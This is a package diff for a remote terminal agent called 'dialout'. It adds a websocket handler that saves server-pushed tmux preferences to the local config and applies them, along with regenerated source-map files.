{"version":3,"file":"websocket.d.ts","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAA4C,MAAM,UAAU,CAAC;AAgCjF,eAAO,MAAM,iBAAiB,OAAO,CAAC;AACtC,eAAO,MAAM,gBAAgB,QAAS,CAAC;AAKvC,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,EAAE,IAAI,GAAE,MAAM,MAAoB,GAAG,MAAM,CAGxF;AAyGD,wBAAgB,OAAO,CAAC,MAAM,EAAE,WAAW,EAAE,WAAW,CAAC,EAAE,MAAM,IAAI,GAAG,IAAI,CAqD3E;AAED,wBAAgB,UAAU,IAAI,IAAI,CAcjC;AAED,wBAAgB,WAAW,IAAI,OAAO,CAErC"}
|
package/dist/websocket.js
CHANGED
|
@@ -373,6 +373,25 @@ async function handleMessage(msg, config) {
|
|
|
373
373
|
}
|
|
374
374
|
break;
|
|
375
375
|
}
|
|
376
|
+
case 'tmux_config': {
|
|
377
|
+
// Server-side settings changed. Persist them so a restart keeps them —
|
|
378
|
+
// the server is the source of truth for a machine's prefs, but the agent
|
|
379
|
+
// must still work when the server is unreachable — then apply
|
|
380
|
+
// immediately, so the change lands without waiting for a reconnect.
|
|
381
|
+
try {
|
|
382
|
+
const prefs = (0, config_1.resolveTmuxPrefs)({ tmux: msg.prefs });
|
|
383
|
+
const config = (0, config_1.loadConfig)();
|
|
384
|
+
config.tmux = prefs;
|
|
385
|
+
(0, config_1.saveConfig)(config);
|
|
386
|
+
(0, pty_manager_1.resetTmuxConfCache)(); // the server asked explicitly; ignore the hash
|
|
387
|
+
(0, pty_manager_1.applyNativeTmuxOptions)(prefs);
|
|
388
|
+
console.log('[dialout] tmux preferences updated from server');
|
|
389
|
+
}
|
|
390
|
+
catch (err) {
|
|
391
|
+
console.error(`[dialout] could not apply tmux preferences: ${err?.message}`);
|
|
392
|
+
}
|
|
393
|
+
break;
|
|
394
|
+
}
|
|
376
395
|
case 'kill_tmux': {
|
|
377
396
|
// Force-kill a tmux session by name (used by the Terminals "kill" action).
|
|
378
397
|
// Kills the session and every process in it; any attached client PTY exits.
|
package/dist/websocket.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"websocket.js","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":";;;;;;AAsCA,wCAGC;AAyGD,0BAqDC;AAED,gCAcC;AAED,kCAEC;AA3ND,4CAA2B;AAC3B,qCAAyD;AACzD,2CAAsE;AACtE,iDAAsD;AACtD,6CAA6C;AAC7C,uDAAiD;AACjD,qDAA8C;AAC9C,+CAYuB;AACvB,iDAA2F;AAC3F,+CAGuB;AACvB,uDAAyD;AAEzD,IAAI,EAAE,GAAqB,IAAI,CAAC;AAChC,IAAI,cAAc,GAA0B,IAAI,CAAC;AACjD,IAAI,cAAc,GAAG,KAAK,CAAC;AAC3B,IAAI,gBAAgB,GAAG,CAAC,CAAC;AAEZ,QAAA,iBAAiB,GAAG,IAAI,CAAC;AACzB,QAAA,gBAAgB,GAAG,MAAM,CAAC;AAEvC,+EAA+E;AAC/E,6EAA6E;AAC7E,iDAAiD;AACjD,SAAgB,cAAc,CAAC,OAAe,EAAE,OAAqB,IAAI,CAAC,MAAM;IAC9E,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,yBAAiB,GAAG,CAAC,IAAI,CAAC,OAAO,GAAG,CAAC,CAAC,EAAE,wBAAgB,CAAC,CAAC;IAC/E,OAAO,IAAI,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,GAAG,GAAG,IAAI,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AAChD,CAAC;AAED,IAAI,aAAa,GAA0B,IAAI,CAAC;AAChD,IAAI,gBAAgB,GAAG,EAAE,CAAC;AAC1B,MAAM,YAAY,GAAG,IAAI,CAAC;AAC1B,MAAM,cAAc,GAAG,MAAM,CAAC;AAC9B,MAAM,WAAW,GAAG,CAAC,CAAC;AACtB,IAAI,cAAc,GAAG,CAAC,CAAC;AACvB,IAAI,oBAAoB,GAAG,KAAK,CAAC;AAEjC,KAAK,UAAU,gBAAgB;IAC7B,IAAI,CAAC,EAAE,IAAI,EAAE,CAAC,UAAU,KAAK,YAAS,CAAC,IAAI;QAAE,OAAO;IACpD,IAAI,CAAC,CAAC,MAAM,IAAA,4BAAa,GAAE,CAAC;QAAE,OAAO;IACrC,IAAI,CAAC;QACH,MAAM,QAAQ,GAAG,MAAM,IAAA,2BAAY,GAAE,CAAC;QACtC,MAAM,QAAQ,GAAG,MAAM,OAAO,CAAC,GAAG,CAAC,QAAQ,CAAC,GAAG,CAAC,KAAK,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC;YAC5D,GAAG,CAAC;YACJ,SAAS,EAAE,MAAM,IAAA,0BAAW,EAAC,CAAC,CAAC,IAAI,EAAE,WAAW,CAAC;SAClD,CAAC,CAAC,CAAC,CAAC;QACL,2EAA2E;QAC3E,wEAAwE;QACxE,wEAAwE;QACxE,MAAM,QAAQ,GAAG,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC,CAAC,KAAK,EAAE,CAAC,CAAC,MAAM,EAAE,CAAC,CAAC,UAAU,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;QACzH,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QACvB,IAAI,QAAQ,KAAK,gBAAgB,IAAI,GAAG,GAAG,cAAc,GAAG,cAAc,EAAE,CAAC;YAC3E,gBAAgB,GAAG,QAAQ,CAAC;YAC5B,cAAc,GAAG,GAAG,CAAC;YACrB,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,eAAe,EAAE,QAAQ,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;YACvE,yEAAyE;YACzE,wEAAwE;YACxE,uEAAuE;YACvE,uEAAuE;YACvE,oEAAoE;YACpE,EAAE;YACF,0EAA0E;YAC1E,sEAAsE;YACtE,wEAAwE;YACxE,uEAAuE;YACvE,IAAI,CAAC,oBAAoB,EAAE,CAAC;gBAC1B,oBAAoB,GAAG,IAAI,CAAC;gBAC5B,MAAM,GAAG,GAAG,OAAO,OAAO,CAAC,MAAM,KAAK,UAAU,CAAC,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC;gBAC1E,MAAM,MAAM,GAAG,OAAO,CAAC,GAAG,CAAC,MAAM,IAAI,OAAO,CAAC,GAAG,CAAC,QAAQ,IAAI,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,SAAS,CAAC;gBAC3F,OAAO,CAAC,GAAG,CACT,uBAAuB,QAAQ,CAAC,MAAM,kBAAkB;sBACtD,CAAC,QAAQ,CAAC,MAAM,KAAK,CAAC;wBACtB,CAAC,CAAC,wBAAwB,GAAG,YAAY,MAAM,GAAG;8BAC9C,8DAA8D;8BAC9D,sDAAsD;8BACtD,2BAA2B;wBAC/B,CAAC,CAAC,KAAK,QAAQ,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CACnD,CAAC;YACJ,CAAC;QACH,CAAC;IACH,CAAC;IAAC,OAAO,GAAQ,EAAE,CAAC;QAClB,OAAO,CAAC,KAAK,CAAC,6BAA6B,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IAC5D,CAAC;AACH,CAAC;AAED,SAAS,gBAAgB;IACvB,eAAe,EAAE,CAAC;IAClB,gBAAgB,GAAG,EAAE,CAAC;IACtB,oBAAoB,GAAG,KAAK,CAAC;IAC7B,aAAa,GAAG,WAAW,CAAC,GAAG,EAAE,GAAG,KAAK,gBAAgB,EAAE,CAAC,CAAC,CAAC,EAAE,YAAY,CAAC,CAAC;IAC9E,KAAK,gBAAgB,EAAE,CAAC,CAAC,4BAA4B;AACvD,CAAC;AAED,SAAS,eAAe;IACtB,IAAI,aAAa,EAAE,CAAC;QAAC,aAAa,CAAC,aAAa,CAAC,CAAC;QAAC,aAAa,GAAG,IAAI,CAAC;IAAC,CAAC;AAC5E,CAAC;AAED,wEAAwE;AACxE,6EAA6E;AAC7E,6EAA6E;AAC7E,oBAAoB;AACpB,IAAI,WAAW,GAA0B,IAAI,CAAC;AAC9C,IAAI,cAAc,GAAG,EAAE,CAAC;AACxB,MAAM,UAAU,GAAG,IAAI,CAAC;AAExB,KAAK,UAAU,cAAc;IAC3B,IAAI,CAAC,EAAE,IAAI,EAAE,CAAC,UAAU,KAAK,YAAS,CAAC,IAAI;QAAE,OAAO;IACpD,IAAI,CAAC;QACH,MAAM,QAAQ,GAAG,MAAM,IAAA,gCAAkB,GAAE,CAAC;QAC5C,MAAM,QAAQ,GAAG,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC;QAC1C,IAAI,QAAQ,KAAK,cAAc;YAAE,OAAO;QACxC,cAAc,GAAG,QAAQ,CAAC;QAC1B,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,iBAAiB,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;IACjE,CAAC;IAAC,OAAO,GAAQ,EAAE,CAAC;QAClB,OAAO,CAAC,KAAK,CAAC,mCAAmC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IAClE,CAAC;AACH,CAAC;AAED,SAAS,cAAc;IACrB,aAAa,EAAE,CAAC;IAChB,cAAc,GAAG,EAAE,CAAC;IACpB,WAAW,GAAG,WAAW,CAAC,GAAG,EAAE,GAAG,KAAK,cAAc,EAAE,CAAC,CAAC,CAAC,EAAE,UAAU,CAAC,CAAC;IACxE,KAAK,cAAc,EAAE,CAAC;AACxB,CAAC;AAED,SAAS,aAAa;IACpB,IAAI,WAAW,EAAE,CAAC;QAAC,aAAa,CAAC,WAAW,CAAC,CAAC;QAAC,WAAW,GAAG,IAAI,CAAC;IAAC,CAAC;IACpE,4EAA4E;IAC5E,6EAA6E;IAC7E,IAAA,gCAAkB,GAAE,CAAC;AACvB,CAAC;AAED,SAAgB,OAAO,CAAC,MAAmB,EAAE,WAAwB;IACnE,cAAc,GAAG,KAAK,CAAC;IAEvB,MAAM,GAAG,GAAG,MAAM,CAAC,SAAS,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,GAAG,SAAS,CAAC;IAC5D,EAAE,GAAG,IAAI,YAAS,CAAC,GAAG,EAAE;QACtB,OAAO,EAAE,EAAE,WAAW,EAAE,MAAM,CAAC,MAAM,EAAE;KACxC,CAAC,CAAC;IAEH,EAAE,CAAC,EAAE,CAAC,MAAM,EAAE,GAAG,EAAE;QACjB,OAAO,CAAC,GAAG,CAAC,+BAA+B,CAAC,CAAC;QAC7C,gBAAgB,GAAG,CAAC,CAAC,CAAC,uCAAuC;QAC7D,IAAA,6BAAe,EAAC,EAAE,CAAC,CAAC;QACpB,2EAA2E;QAC3E,8DAA8D;QAC9D,IAAA,0BAAc,EAAC,EAAG,EAAE,MAAM,CAAC,iBAAiB,EAAE,GAAG,EAAE;YACjD,IAAI,CAAC;gBAAC,EAAE,EAAE,SAAS,EAAE,CAAC;YAAC,CAAC;YAAC,MAAM,CAAC,CAAC,kBAAkB,CAAC,CAAC;QACvD,CAAC,CAAC,CAAC;QACH,gBAAgB,EAAE,CAAC;QACnB,cAAc,EAAE,CAAC;QACjB,0EAA0E;QAC1E,wEAAwE;QACxE,0EAA0E;QAC1E,0EAA0E;QAC1E,qEAAqE;QACrE,qDAAqD;QACrD,EAAG,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,aAAa,EAAE,GAAG,EAAE,IAAA,+BAAiB,GAAE,EAAE,CAAC,CAAC,CAAC;QAC5E,IAAA,oCAAsB,EAAC,IAAA,yBAAgB,EAAC,MAAM,CAAC,CAAC,CAAC,CAAC,wFAAwF;QAC1I,WAAW,EAAE,EAAE,CAAC;IAClB,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,EAAE,CAAC,SAAS,EAAE,CAAC,GAAW,EAAE,EAAE;QAC/B,IAAI,CAAC;YACH,MAAM,GAAG,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,QAAQ,EAAE,CAAC,CAAC;YACvC,aAAa,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;QAC7B,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,OAAO,CAAC,KAAK,CAAC,4BAA4B,EAAE,GAAG,CAAC,CAAC;QACnD,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,IAAY,EAAE,EAAE;QAC9B,OAAO,CAAC,GAAG,CAAC,iCAAiC,IAAI,GAAG,CAAC,CAAC;QACtD,IAAA,yBAAa,GAAE,CAAC;QAChB,eAAe,EAAE,CAAC;QAClB,aAAa,EAAE,CAAC;QAChB,wEAAwE;QACxE,yEAAyE;QACzE,sBAAsB;QACtB,iBAAiB,CAAC,MAAM,EAAE,WAAW,CAAC,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,GAAU,EAAE,EAAE;QAC5B,OAAO,CAAC,KAAK,CAAC,4BAA4B,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IAC3D,CAAC,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,UAAU;IACxB,cAAc,GAAG,IAAI,CAAC;IACtB,IAAI,cAAc,EAAE,CAAC;QACnB,YAAY,CAAC,cAAc,CAAC,CAAC;QAC7B,cAAc,GAAG,IAAI,CAAC;IACxB,CAAC;IACD,IAAA,yBAAa,GAAE,CAAC;IAChB,eAAe,EAAE,CAAC;IAClB,aAAa,EAAE,CAAC;IAChB,IAAA,8BAAgB,GAAE,CAAC;IACnB,IAAI,EAAE,EAAE,CAAC;QACP,EAAE,CAAC,KAAK,EAAE,CAAC;QACX,EAAE,GAAG,IAAI,CAAC;IACZ,CAAC;AACH,CAAC;AAED,SAAgB,WAAW;IACzB,OAAO,EAAE,KAAK,IAAI,IAAI,EAAE,CAAC,UAAU,KAAK,YAAS,CAAC,IAAI,CAAC;AACzD,CAAC;AAED,SAAS,iBAAiB,CAAC,MAAmB,EAAE,WAAwB;IACtE,IAAI,cAAc;QAAE,OAAO;IAC3B,IAAI,cAAc;QAAE,OAAO;IAE3B,MAAM,KAAK,GAAG,cAAc,CAAC,EAAE,gBAAgB,CAAC,CAAC;IACjD,OAAO,CAAC,GAAG,CAAC,6BAA6B,CAAC,KAAK,GAAG,IAAI,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,cAAc,gBAAgB,MAAM,CAAC,CAAC;IACxG,cAAc,GAAG,UAAU,CAAC,GAAG,EAAE;QAC/B,cAAc,GAAG,IAAI,CAAC;QACtB,OAAO,CAAC,MAAM,EAAE,WAAW,CAAC,CAAC;IAC/B,CAAC,EAAE,KAAK,CAAC,CAAC;AACZ,CAAC;AAED,KAAK,UAAU,aAAa,CAAC,GAAQ,EAAE,MAAmB;IACxD,IAAI,CAAC,EAAE,IAAI,EAAE,CAAC,UAAU,KAAK,YAAS,CAAC,IAAI;QAAE,OAAO;IAEpD,QAAQ,GAAG,CAAC,IAAI,EAAE,CAAC;QACjB,KAAK,SAAS;YACZ,OAAO,CAAC,GAAG,CAAC,sCAAsC,GAAG,CAAC,SAAS,EAAE,CAAC,CAAC;YACnE,MAAM;QAER,KAAK,MAAM;YACT,sEAAsE;YACtE,IAAA,oBAAQ,GAAE,CAAC;YACX,MAAM;QAER,KAAK,mBAAmB,CAAC,CAAC,CAAC;YACzB,MAAM,EAAE,KAAK,EAAE,IAAI,EAAE,EAAE,EAAE,GAAG,GAAG,CAAC;YAChC,IAAI,SAAmB,CAAC;YACxB,IAAI,KAAK,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC;gBAClC,SAAS,GAAG,MAAM,IAAA,wBAAS,EAAC,KAAK,CAAC,CAAC;YACrC,CAAC;iBAAM,IAAI,IAAI,IAAI,IAAI,IAAI,EAAE,IAAI,IAAI,EAAE,CAAC;gBACtC,SAAS,GAAG,MAAM,IAAA,wBAAS,EAAC,IAAI,EAAE,EAAE,CAAC,CAAC;YACxC,CAAC;iBAAM,CAAC;gBACN,SAAS,GAAG,MAAM,IAAA,wBAAS,EAAC,MAAM,CAAC,SAAS,CAAC,CAAC;YAChD,CAAC;YACD,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,kBAAkB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,SAAS,EAAE,CAAC,CAAC,CAAC;YAC3F,MAAM;QACR,CAAC;QAED,KAAK,WAAW,CAAC,CAAC,CAAC;YACjB,MAAM,OAAO,GAAG,IAAA,0BAAa,EAAC,GAAG,CAAC,IAAI,IAAI,GAAG,CAAC,CAAC;YAC/C,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC;YAChG,MAAM;QACR,CAAC;QAED,KAAK,cAAc,CAAC,CAAC,CAAC;YACpB,IAAI,CAAC;gBACH,MAAM,QAAQ,GAAG,MAAM,IAAA,8BAAY,EAAC,GAAG,CAAC,IAAI,IAAI,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,GAAG,EAAE,GAAG,CAAC,KAAK,IAAI,CAAC,CAAC,CAAC;gBACzF,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,qBAAqB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;YAC/F,CAAC;YAAC,OAAO,GAAQ,EAAE,CAAC;gBAClB,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;oBACrB,IAAI,EAAE,qBAAqB;oBAC3B,SAAS,EAAE,GAAG,CAAC,SAAS;oBACxB,QAAQ,EAAE,EAAE;oBACZ,KAAK,EAAE,GAAG,EAAE,OAAO,IAAI,aAAa;iBACrC,CAAC,CAAC,CAAC;YACN,CAAC;YACD,MAAM;QACR,CAAC;QAED,KAAK,aAAa,CAAC,CAAC,CAAC;YACnB,MAAM,MAAM,GAAG,MAAM,IAAA,2BAAU,EAAC;gBAC9B,OAAO,EAAE,GAAG,CAAC,OAAO,IAAI,EAAE;gBAC1B,GAAG,EAAE,GAAG,CAAC,GAAG;gBACZ,UAAU,EAAE,CAAC,CAAC,GAAG,CAAC,UAAU;gBAC5B,OAAO,EAAE,GAAG,CAAC,OAAO;aACrB,CAAC,CAAC;YACH,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,oBAAoB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,GAAG,MAAM,EAAE,CAAC,CAAC,CAAC;YAC7F,MAAM;QACR,CAAC;QAED,KAAK,UAAU,CAAC,CAAC,CAAC;YAChB,IAAI,CAAC,IAAA,4BAAc,GAAE,EAAE,CAAC;gBACtB,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,KAAK,EAAE,wBAAwB,EAAE,CAAC,CAAC,CAAC;gBAC5F,MAAM;YACR,CAAC;YACD,IAAI,MAAe,CAAC;YACpB,IAAI,GAAG,CAAC,WAAW,EAAE,CAAC;gBACpB,MAAM,GAAG,IAAA,wBAAU,EACjB,GAAG,CAAC,EAAE,EACN,MAAM,CAAC,GAAG,CAAC,WAAW,CAAC,EACvB,CAAC,CAAC,GAAG,CAAC,QAAQ,EACd,GAAG,CAAC,IAAI,IAAI,EAAE,EACd,GAAG,CAAC,IAAI,IAAI,EAAE,CACf,CAAC;YACJ,CAAC;iBAAM,CAAC;gBACN,MAAM,GAAG,IAAA,yBAAW,EAClB,GAAG,CAAC,EAAE,EACN,GAAG,CAAC,OAAO,IAAI,EAAE,EACjB,GAAG,CAAC,GAAG,IAAI,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,GAAG,EAClC,GAAG,CAAC,IAAI,IAAI,EAAE,EACd,GAAG,CAAC,IAAI,IAAI,EAAE,EACd,EAAE,UAAU,EAAE,CAAC,CAAC,MAAM,CAAC,MAAM,EAAE,CAChC,CAAC;YACJ,CAAC;YACD,IAAI,CAAC,MAAM,EAAE,CAAC;gBACZ,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,WAAW,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,KAAK,EAAE,GAAG,CAAC,WAAW,CAAC,CAAC,CAAC,6BAA6B,CAAC,CAAC,CAAC,wBAAwB,EAAE,CAAC,CAAC,CAAC;YAChJ,CAAC;YACD,MAAM;QACR,CAAC;QAED,KAAK,UAAU,CAAC,CAAC,CAAC;YAChB,IAAA,4BAAc,EAAC,GAAG,CAAC,EAAE,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC;YACjC,MAAM;QACR,CAAC;QAED,KAAK,YAAY,CAAC,CAAC,CAAC;YAClB,IAAA,2BAAa,EAAC,GAAG,CAAC,EAAE,EAAE,GAAG,CAAC,IAAI,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC;YAC1C,MAAM;QACR,CAAC;QAED,KAAK,WAAW,CAAC,CAAC,CAAC;YACjB,KAAK,IAAA,0BAAY,EAAC,GAAG,CAAC,EAAE,CAAC,CAAC;YAC1B,MAAM;QACR,CAAC;QAED,KAAK,YAAY,CAAC,CAAC,CAAC;YAClB,sEAAsE;YACtE,yDAAyD;YACzD,IAAA,8BAAgB,EAAC,GAAG,CAAC,EAAE,CAAC,CAAC;YACzB,MAAM;QACR,CAAC;QAED,KAAK,yBAAyB,CAAC,CAAC,CAAC;YAC/B,MAAM,QAAQ,GAAG,MAAM,IAAA,gCAAkB,GAAE,CAAC;YAC5C,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,iBAAiB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,QAAQ,EAAE,CAAC,CAAC,CAAC;YACzF,MAAM;QACR,CAAC;QAED,KAAK,yBAAyB,CAAC,CAAC,CAAC;YAC/B,uEAAuE;YACvE,yEAAyE;YACzE,+BAA+B;YAC/B,MAAM,IAAI,GAAG,IAAA,sCAAoB,EAC/B,MAAM,CAAC,GAAG,CAAC,IAAI,IAAI,EAAE,CAAC,EACtB,MAAM,CAAC,GAAG,CAAC,GAAG,IAAI,EAAE,CAAC,CACtB,CAAC;YACF,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,iBAAiB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YACrF,MAAM;QACR,CAAC;QAED,KAAK,iBAAiB,CAAC,CAAC,CAAC;YACvB,MAAM,IAAI,GAAG,MAAM,CAAC,GAAG,CAAC,QAAQ,IAAI,EAAE,CAAC,CAAC;YACxC,IAAI,CAAC,IAAI;gBAAE,MAAM;YACjB,IAAA,2BAAa,EAAC,IAAI,EAAE,CAAC,MAAM,EAAE,MAAM,EAAE,EAAE;gBACrC,IAAI,EAAE,IAAI,EAAE,CAAC,UAAU,KAAK,YAAS,CAAC,IAAI,EAAE,CAAC;oBAC3C,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,mBAAmB,EAAE,QAAQ,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC,CAAC,CAAC;gBACzF,CAAC;YACH,CAAC,CAAC,CAAC;YACH,MAAM;QACR,CAAC;QAED,KAAK,mBAAmB,CAAC,CAAC,CAAC;YACzB,MAAM,EAAE,GAAG,IAAA,6BAAe,EAAC;gBACzB,IAAI,EAAE,GAAG,CAAC,IAAI;gBACd,GAAG,EAAE,GAAG,CAAC,GAAG;gBACZ,MAAM,EAAE,GAAG,CAAC,MAAM;gBAClB,cAAc,EAAE,GAAG,CAAC,cAAc;gBAClC,UAAU,EAAE,GAAG,CAAC,UAAU;aAC3B,CAAC,CAAC;YACH,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;gBACrB,IAAI,EAAE,oBAAoB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,EAAE;aACzD,CAAC,CAAC,CAAC;YACJ,uEAAuE;YACvE,6BAA6B;YAC7B,cAAc,GAAG,EAAE,CAAC;YACpB,KAAK,cAAc,EAAE,CAAC;YACtB,MAAM;QACR,CAAC;QAED,KAAK,mBAAmB,CAAC,CAAC,CAAC;YACzB,MAAM,EAAE,GAAG,IAAA,6BAAe,EAAC,MAAM,CAAC,GAAG,CAAC,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;YACjD,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;gBACrB,IAAI,EAAE,oBAAoB,EAAE,SAAS,EAAE,GAAG,CAAC,SAAS,EAAE,EAAE;aACzD,CAAC,CAAC,CAAC;YACJ,cAAc,GAAG,EAAE,CAAC;YACpB,KAAK,cAAc,EAAE,CAAC;YACtB,MAAM;QACR,CAAC;QAED,KAAK,kBAAkB,CAAC,CAAC,CAAC;YACxB,IAAA,4BAAc,EAAC,MAAM,CAAC,GAAG,CAAC,QAAQ,IAAI,EAAE,CAAC,CAAC,CAAC;YAC3C,MAAM;QACR,CAAC;QAED,KAAK,kBAAkB,CAAC,CAAC,CAAC;YACxB,oEAAoE;YACpE,+DAA+D;YAC/D,IAAI,GAAG,CAAC,QAAQ,IAAI,OAAO,GAAG,CAAC,IAAI,KAAK,QAAQ,EAAE,CAAC;gBACjD,IAAA,yBAAW,EAAC,MAAM,CAAC,GAAG,CAAC,QAAQ,CAAC,EAAE,GAAG,CAAC,IAAI,CAAC,CAAC;YAC9C,CAAC;YACD,MAAM;QACR,CAAC;QAED,KAAK,WAAW,CAAC,CAAC,CAAC;YACjB,2EAA2E;YAC3E,4EAA4E;YAC5E,uEAAuE;YACvE,wDAAwD;YACxD,MAAM,MAAM,GAAG,MAAM,IAAA,8BAAe,EAAC,GAAG,CAAC,IAAI,CAAC,CAAC;YAC/C,IAAI,CAAC,MAAM,CAAC,EAAE,EAAE,CAAC;gBACf,OAAO,CAAC,KAAK,CAAC,uBAAuB,GAAG,CAAC,IAAI,YAAY,MAAM,CAAC,KAAK,EAAE,CAAC,CAAC;YAC3E,CAAC;YACD,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;gBACrB,IAAI,EAAE,kBAAkB;gBACxB,SAAS,EAAE,GAAG,CAAC,SAAS;gBACxB,EAAE,EAAE,MAAM,CAAC,EAAE;gBACb,KAAK,EAAE,MAAM,CAAC,KAAK;aACpB,CAAC,CAAC,CAAC;YACJ,MAAM;QACR,CAAC;QAED,KAAK,cAAc,CAAC,CAAC,CAAC;YACpB,IAAI,CAAC;gBACH,MAAM,GAAG,GAAG,GAAG,CAAC,OAAO;oBACrB,CAAC,CAAC,GAAG,GAAG,CAAC,OAAO,GAAG,GAAG,CAAC,IAAI,EAAE;oBAC7B,CAAC,CAAC,oBAAoB,GAAG,CAAC,IAAI,GAAG,GAAG,CAAC,IAAI,EAAE,CAAC;gBAC9C,MAAM,SAAS,GAAgB;oBAC7B,MAAM,EAAE,GAAG,CAAC,MAAM,IAAI,KAAK;oBAC3B,OAAO,EAAE,GAAG,CAAC,OAAO,IAAI,EAAE;iBAC3B,CAAC;gBACF,+CAA+C;gBAC/C,IAAI,GAAG,CAAC,IAAI,IAAI,CAAC,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,QAAQ,CAAC,CAAC,GAAG,CAAC,MAAM,IAAI,KAAK,CAAC,CAAC,WAAW,EAAE,CAAC,EAAE,CAAC;oBAC/E,SAAS,CAAC,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,IAAI,EAAE,QAAQ,CAAC,CAAC;gBACnD,CAAC;gBACD,MAAM,IAAI,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;gBACzC,MAAM,OAAO,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,IAAI,CAAC,WAAW,EAAE,CAAC,CAAC;gBACtD,MAAM,WAAW,GAA2B,EAAE,CAAC;gBAC/C,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,GAAG,EAAE,GAAG,EAAE,EAAE,GAAG,WAAW,CAAC,GAAG,CAAC,GAAG,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;gBAEhE,MAAM,GAAG,GAAG,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC;gBAEvC,4CAA4C;gBAC5C,EAAE;gBACF,wEAAwE;gBACxE,iEAAiE;gBACjE,uEAAuE;gBACvE,sEAAsE;gBACtE,sCAAsC;gBACtC,EAAE;gBACF,uEAAuE;gBACvE,yEAAyE;gBACzE,oEAAoE;gBACpE,8DAA8D;gBAC9